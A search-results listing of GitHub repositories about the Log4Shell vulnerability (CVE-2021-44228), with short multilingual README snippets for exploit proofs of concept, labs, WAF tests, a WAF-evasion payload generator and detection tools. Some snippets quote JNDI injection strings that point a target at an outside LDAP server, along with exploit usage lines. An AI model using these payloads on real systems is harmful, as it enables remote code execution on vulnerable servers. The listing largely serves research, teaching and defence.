614 matches found
Log4Shell-obfuscated-payloads-generator
Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator は、WAF 検出を回避するために、一次難読化または二次難読化された CVE-2021-44228 または CVE-2021-45046 ペイロードを生成できます。 Log4Shell-obfuscated-payloads-generator の設計思想 インストール git clone https://github.com/r3kind1e/Log4Shell-obfuscated-payloads-generator.git...
log4shell-honeypot
Log4Shell 蜜罐 此演示应用程序易受 CVE-2021-44228(又称 Log4Shell)漏洞影响。例如,它可用于验证检测或修复脚本。 如何启动 构建应用程序: mvn clean package 或者,下载预构建的 JAR。 运行应用程序(如果您在本地构建,则在 target 子目录中运行): java -Dlog4shell.all -jar log4shell-honeypot-capsule.jar 该应用程序默认情况下不易受攻击。您需要设置 log4shell.all 系统属性以启用漏洞(或者您可以使用特定于漏洞的选项,见下文)。 漏洞选项 设置...
cve-2021-44228-waf-tests
简单的 bash 脚本,用于测试你的 WAF 或其他设备对 Log4Shell 攻击字符串及各种绕过方式的防护能力 绕过技巧来自:https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 运行方式: ./cve-2021-44228.sh -t -c 或者使用默认值 https://127.0.0.1 和 403: ./cve-2021-44228.sh 对于每个测试字符串,脚本会通过多种向量将其传入对目标的请求中,例如: 请求头:使用 User-Agent 请求头 URI:将字符串附加到请求的 URI 中...
log4shell
Log4Shell 本项目演示了log4shell安全漏洞的工作原理。 该漏洞在CVE-2021-44228中有详细描述。 本项目仅用于教学目的。 只能在您自己的系统上使用,且仅用于实验目的。 任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。 命令示例 ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello '$jndi:ldap://'"$ldapserver"'/run=log4shell.Exploit' hello...
vuln4japi
vuln4japi Una API REST vulnerable basada en Java para demostrar CVE-2021-44228 log4shell. Motivación Log4Shell arrasó con Internet a principios de diciembre de 2021. Una vulnerabilidad de día cero en la librería de registro Apache Log4j, capaz de ejecutar código remoto RCE, que hizo que...
CVE-2021-44228
CVE-2021-44228(Apache Log4j 远程代码执行) 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞,我们建议您更新到最新版本。 与 Log4Shell(CVE-2021-44228)相关的安全公告/通报 使用方法: 下载此项目,编译漏洞利用代码 blob/master/src/main/java/Exploit.java,并启动一个允许下载已编译二进制的 Web 服务器。 git clone...
THM---Solar-exploiting-Log-4j
THM---Solar-exploiting-Log-4j このルームは、悪名高いLog4j脆弱性(CVE-2021-44228)(Log4Shellとも呼ばれる)を悪用することに基づいています。この脆弱性により、攻撃者はログメッセージに悪意のあるペイロードを注入してリモートコードを実行できます。 TASK 1 – CVE-2021-44228 はじめに このタスクでは、Apache Log4jのLog4Shell脆弱性(CVE-2021-44228)について学習しました。 • Log4jは広く使われているJavaロギングライブラリです。 •...
EXPLOIT-CVE-2021-44228
CVE-2021-44228 — Log4Shell PoC Lab 免責事項 このラボは教育およびセキュリティ研究のみを目的 として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。 CVE-2021-44228 とは? Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性(CVSS 10.0)です。...
log4shell_lab
log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...
log4fix
log4fix このツールは、log4j log4shell脆弱性(CVE-2021-44228)を検出し修正するためのものです。.jar/.war/.earファイルからJndiLookupクラスを探して除去します。依存関係は一切不要で無料です。 このツールは以下の環境でテストされています: - Linux 32ビットおよび64ビット - Windows 32ビットおよび64ビット - OpenBSD 64ビット このツールはGoプログラミング言語で書かれており、依存関係が一切なく、どこでも動作するスタンドアロンバイナリです。 インストール...
log4j-finder
log4j-finder Log4Shell(CVE-2021-44228、CVE-2021-45046、CVE-2021-45105)に対して脆弱なLog4j2を検出するためにファイルシステムをスキャンするPython3スクリプトです。ディスク上と(ネストされた)Java Archiveファイル(JAR)内の両方を再帰的にスキャンします。 仕組み log4j-finderは、log4j2-core- パッケージ(log4shell の影響を受ける主要パッケージ)に含まれる特定ファイル(現在は JndiManager.class のみ)の 既知の悪性 と 既知の良性...
vulescanjndilookup
vulescanjndilookup 用于检测CVE-2021-44228漏洞的自动化工具 要求: Python v. 3 安装: git clone https://github.com/MiguelM001/vulescanjndilookup.git 执行: python3 vulescanjndilookup.py -h python3 vulescanjndilookup.py -d / python3 vulescanjndilookup.py -d /home/usuario...
log4shell-cve-2021-44228
🔍 漏洞研究 精选的深入漏洞报告集合,涵盖软件生态系统中的真实安全事件。每篇文章包括完整的技术分析、概念验证、IOC 列表和修复指南。 目的: 教育参考和作品集。所有 PoC 代码仅用于检测和研究。 索引 | 漏洞| 类型| 严重程度| 日期| 状态 ---|---|---|---|---|--- 003| Apache Log4j 远程代码执行 — CVE-2021-44228 Log4Shell| 零日RCE| 🔴 严重| 2021年11月24日| ✅ 已完成 结构 每篇文章遵循一致的格式: log4shell-cve-2021-44228/ ├── README.md Projec...
log4shellpoc
CVE-2021-44228(Log4Shell)に対して脆弱なシンプルなSpring Bootアプリケーション このCVE-2021-44228(別名log4shell)の概念実証アプリケーションは、私のwriteupの一部です。完全なエクスプロイトの詳細については、writeupを参照してください。 手順 実行: docker run --rm -p 8080:8080 --name log4shell-poc-app ghcr.io/guerzon/log4shellpoc:latest または、ビルドして実行: docker build . -t log4shellpoc...
CVE-2021-44228-Log4Shell-POC
CVE-2021-44228-Log4Shell-POC 臭名昭著的 Log4j CVE-2021-44228 完整 POC 前置条件 从此处下载并安装 Java,可以使用 jdk-8u181。 从此处安装 IntelliJ Idea。 POC 步骤 1:克隆此仓库。 步骤 2:将 Exploit.java 文件移动到另一个文件夹。例如,我在主目录下创建了一个 rce 文件夹。/home/coldfusionx/rce 步骤 3:查看 Exploit.java 在这里你可以将远程代码更改为任何内容,在本例中,它会在 Ubuntu 机器上弹出 gnome-calculator。 步骤...
log4j-recognizer
log4j-recognizer 一个用于在正在运行的 JVM 中查找 log4j 的实用工具 CVE-2021-44228 Log4Shell. 这对于允许插件引入自身 jar 的系统非常有用。 因此,你可以发现是否有人引入了危险版本的 log4j。 用法 只需使用你想要的类加载器实例化 Log4jRecognizer,并使用其方法,例如: import com.github.scitotec.log4jrecognizer.Log4jRecognizer; public class Main public static void mainString args var rec = n...
damn-vulnerable-log4j-app
SnapAttack Log4j / CVE-2021-44228 / log4shell リソース 含まれるもの Damn Vulnerable Log4j App damn-vulnerable-log4j-app には、User Agent、HTTP GET および POST パラメータを log4j で記録する、基本的な脆弱性のある Java Servlet が含まれています。 これは .war ファイルとしてパッケージされており、Tomcat などのサーバーにデプロイできます。 README を参照してください。 攻撃アーティファクト attack-artifacts...
L4sh
Log4Shell RCE エクスプロイト 完全に独立したエクスプロイトであり、サードパーティ製バイナリは一切不要です。 このエクスプロイトは、X-Forwarding , Server-IP , User-Agent など、ログに記録される可能性のあるすべてのHTTPヘッダーにペイロードを散布します。 使用方法 python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport -l lldapport 必要条件 java-8-openjdk pip install -r...
Log4Shell
Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Apache Log4j ≤ 2.14.1 の重大な脆弱性 Log4Shell に対するテストエクスプロイト。JNDI インジェクションを介してリモートコード実行を可能にします。 ⚠️ この PoC は教育目的および許可された環境での管理されたテストのみを対象としています。 明示的な許可なくシステムに対して使用しないでください。 要件 Python 3.x Java 8 以上 marshalsec HTTP サーバ 例: python3 -m http.server Docker...